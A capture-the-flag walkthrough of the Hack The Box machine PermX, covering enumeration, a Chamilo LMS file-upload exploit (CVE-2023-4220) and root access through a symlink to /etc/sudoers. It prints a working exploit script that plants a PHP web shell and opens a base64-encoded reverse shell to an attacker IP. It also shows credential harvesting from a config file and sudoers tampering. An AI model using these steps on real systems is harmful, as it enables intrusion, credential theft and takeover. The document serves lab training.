PermX Walkthrough - HTB Easy | Chamilo LMS RCE & Symlink Privilege Escalation
Complete walkthrough of PermX from Hack The Box. Covers exploiting Chamilo Learning Management System via unrestricted file upload vulnerability (CVE-2023-4220), credential extraction from configuration files, password reuse for SSH access, and exploiting sudo misconfiguration through symlink manipulation to gain root access.
Overview
PermX is an Easy Difficulty Linux machine featuring a learning management system vulnerable to unrestricted file uploads via CVE-2023-4220. This vulnerability is leveraged to gain a foothold on the machine. Enumerating the machine reveals credentials that lead to SSH access. A sudo misconfiguration is then exploited to gain a root shell.
External Enumeration
Nmap
Let’s start with nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌─[dua2z3rr@parrot]─[~]
└──╼ $nmap 10.10.11.23 -vv -p-
<SNIP>
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
<SNIP>
┌─[✗]─[dua2z3rr@parrot]─[~]
└──╼ $nmap 10.10.11.23 -vv -p22,80 -sC -sV
<SNIP>
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAyYzjPGuVga97Y5vl5BajgMpjiGqUWp23U2DO9Kij5AhK3lyZFq/rroiDu7zYpMTCkFAk0fICBScfnuLHi6NOI=
| 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8A41tX6hHpQeDLNhKf2QuBM7kqwhIBXGZ4jiOsbYCI
80/tcp open http syn-ack Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Key findings:
- Port 22: SSH (OpenSSH 8.9p1)
- Port 80: HTTP running Apache httpd 2.4.52
- Domain: permx.htb
Web Application Analysis
HTTP Service
Visiting the website:
Exploring the site reveals no interesting pages or redirects.
Directory Fuzzing
Fuzzing for directories:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌─[dua2z3rr@parrot]─[~]
└──╼ $ffuf -w SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt:FUZZ -u http://permx.htb/FUZZ -ic -recursion
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb/FUZZ
:: Wordlist : FUZZ: /home/dua2z3rr/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 47ms]
css [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 47ms]
lib [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 47ms]
js [Status: 301, Size: 303, Words: 20, Lines: 10, Duration: 48ms]
img [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 2108ms]
server-status [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 43ms]
Nothing interesting found. Let’s try subdomain fuzzing.
1
2
┌─[dua2z3rr@parrot]─[~]
└──╼ $ffuf -w SecLists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://FUZZ.permx.htb -ic
No results. Let’s try virtual host fuzzing.
Virtual Host Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌─[dua2z3rr@parrot]─[~]
└──╼ $ffuf -w SecLists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://permx.htb -H 'Host: FUZZ.permx.htb' -ic -mc all -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb
:: Wordlist : FUZZ: /home/dua2z3rr/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.permx.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response words: 18
________________________________________________
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 129ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 1379ms]
Virtual host discovered: lms.permx.htb
Adding lms.permx.htb to /etc/hosts and visiting it.
Chamilo LMS Analysis
LMS Virtual Host
We’re facing a Chamilo login page.
Chamilo is a free software e-learning and content management system, aimed at improving access to education and knowledge globally. Written in PHP.
After trying default credentials, let’s search for authentication bypass exploits.
Exploit Research
Finding CVE-2023-4220
Searching online for “Chamilo 1 auth vuln” reveals CVE-2023-4220.
Vulnerability: Unauthenticated Remote Code Execution
Initial Access
Exploit Script
Modified exploit to obtain a reverse shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
HOST='http://lms.permx.htb'
CMD='echo "cG93ZXJzaGVsbCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zLzkwMDEgMD4mMQ==" | base64 -d | bash'
URL_UPLD='main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
URL_FILE='main/inc/lib/javascript/bigupload/files/rce.php'
cat <<'EOF'>/tmp/rce.php
<?php
$a=popen(base64_decode($_REQUEST["aoOoy"]),'r');while($b=fgets($a,2048)){echo $b;ob_flush();flush();}pclose($a);
?>
EOF
curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URL_UPLD"
CMD=$(echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")
curl "$HOST/$URL_FILE?aoOoy=$CMD"
Running the Exploit
Starting listener first:
1
2
3
┌─[dua2z3rr@parrot]─[~]
└──╼ $nc -lnvp 9001
Listening on 0.0.0.0 9001
Executing the exploit:
1
2
┌─[dua2z3rr@parrot]─[~]
└──╼ $bash chamilo-exploit.sh
Reverse shell obtained:
1
2
3
4
Connection received on 10.10.11.23 55900
bash: cannot set terminal process group (1176): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$
Lateral Movement
Credential Hunting
Using find to search for configuration files:
1
2
3
4
5
6
www-data@permx:/var/www/chamilo$ find /var/www/chamilo -iname "*config*" -type f 2>/dev/null
/var/www/chamilo/web.config
/var/www/chamilo/main/auth/shibboleth/config-dist.php
/var/www/chamilo/main/auth/shibboleth/lib/shibboleth_config.class.php
<SNIP>
/var/www/chamilo/cli-config.php
Database Credentials
Found credentials in /var/www/chamilo/app/config/configuration.php:
1
2
3
4
5
www-data@permx:/var/www/chamilo/app/config$ cat configuration.php | grep db -n
17:$_configuration['db_host'] = 'localhost';
18:$_configuration['db_port'] = '3306';
20:$_configuration['db_user'] = 'chamilo';
21:$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
Credentials found:
- Database user:
chamilo - Database password:
03F6lY3uXAP2bkW8
User Enumeration
Checking users on the system:
1
2
3
4
5
www-data@permx:/home$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Jan 20 2024 .
drwxr-xr-x 18 root root 4096 Jul 1 2024 ..
drwxr-x--- 4 mtz mtz 4096 Jun 6 2024 mtz
User discovered: mtz
SSH Access
Attempting to access mtz account with the database password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌─[dua2z3rr@parrot]─[~]
└──╼ $ssh mtz@permx.htb
mtz@permx.htb's password: 03F6lY3uXAP2bkW8
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-113-generic x86_64)
System information as of Sat Nov 1 10:19:13 AM UTC 2025
System load: 0.08 Processes: 239
Usage of /: 59.4% of 7.19GB Users logged in: 0
Memory usage: 19% IPv4 address for eth0: 10.10.11.23
Swap usage: 0%
Last login: Mon Jul 1 13:09:13 2024 from 10.10.14.40
mtz@permx:~$
User flag obtained.
Privilege Escalation
Sudo Enumeration
Checking sudo permissions:
1
2
3
4
5
6
7
8
9
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
mtz@permx:~$ cd /opt ; ls -al | grep acl
-rwxr-xr-x 1 root root 419 Jun 5 2024 acl.sh
Key finding: Can execute /opt/acl.sh as sudo without password, but cannot modify it.
Script Analysis
Examining the vulnerable script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
Vulnerability identified:
- Script uses
setfaclto modify file permissions - Path validation checks for
/home/mtz/*but doesn’t use-Pflag - No check against symbolic links
- We can create a symlink to
/etc/sudoersand modify it
Root Access via Symlink Exploitation
Creating Symbolic Link
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mtz@permx:~$ ln -s /etc/sudoers root
mtz@permx:~$ ls -al
total 52
drwxr-x--- 5 mtz mtz 4096 Nov 1 13:12 .
drwxr-xr-x 3 root root 4096 Jan 20 2024 ..
lrwxrwxrwx 1 root root 9 Jan 20 2024 .bash_history -> /dev/null
-rw-r--r-- 1 mtz mtz 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 mtz mtz 3771 Jan 6 2022 .bashrc
drwx------ 2 mtz mtz 4096 May 31 2024 .cache
drwxrwxr-x 3 mtz mtz 4096 Nov 1 12:49 .local
lrwxrwxrwx 1 root root 9 Jan 20 2024 .mysql_history -> /dev/null
-rw-r--r-- 1 mtz mtz 807 Jan 6 2022 .profile
drwx------ 2 mtz mtz 4096 Jan 20 2024 .ssh
-rw-rwxr--+ 1 mtz mtz 84 Nov 1 12:43 ciao.sh
-rw-rwxr--+ 1 mtz mtz 84 Nov 1 12:50 ciao2.sh
-rw-rwxr--+ 1 mtz mtz 84 Nov 1 12:51 ciao3.sh
-rw-rw-r-- 1 mtz mtz 85 Nov 1 12:54 ciao4.sh
-rw-rw-r-- 1 mtz mtz 0 Nov 1 13:04 hey
lrwxrwxrwx 1 mtz mtz 12 Nov 1 13:12 root -> /etc/sudoers
-rw-r----- 1 root mtz 33 Nov 1 08:51 user.txt
Exploiting Script
1
2
3
4
5
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/root
mtz@permx:~$ echo "mtz ALL=(ALL:ALL) NOPASSWD: ALL" >> /home/mtz/root
mtz@permx:~$ sudo bash
root@permx:/home/mtz# whoami
root
Root flag obtained. Box completed.
Reflections
What Surprised Me
The symlink bypass was unexpected. The script checked if the path started with /home/mtz/ and blocked .. traversal, but forgot that symlinks resolve to their target when accessed. I actually never thought about being able to do this until now.
Main Mistake
I couldn’t get the symlink to work. In fact, you can see the various files i created in the user directory while attempting the exploit.
Alternative Approaches
For the privilege escalation I could have done:
- Instead of symlink to
/etc/sudoers, could have linked to SSH authorized_keys - Could have linked to
/etc/shadowand added a known password hash - Might have found other writable SUID binaries or capabilities
Completed this box? What was your privilege escalation method? Leave a comment down below!



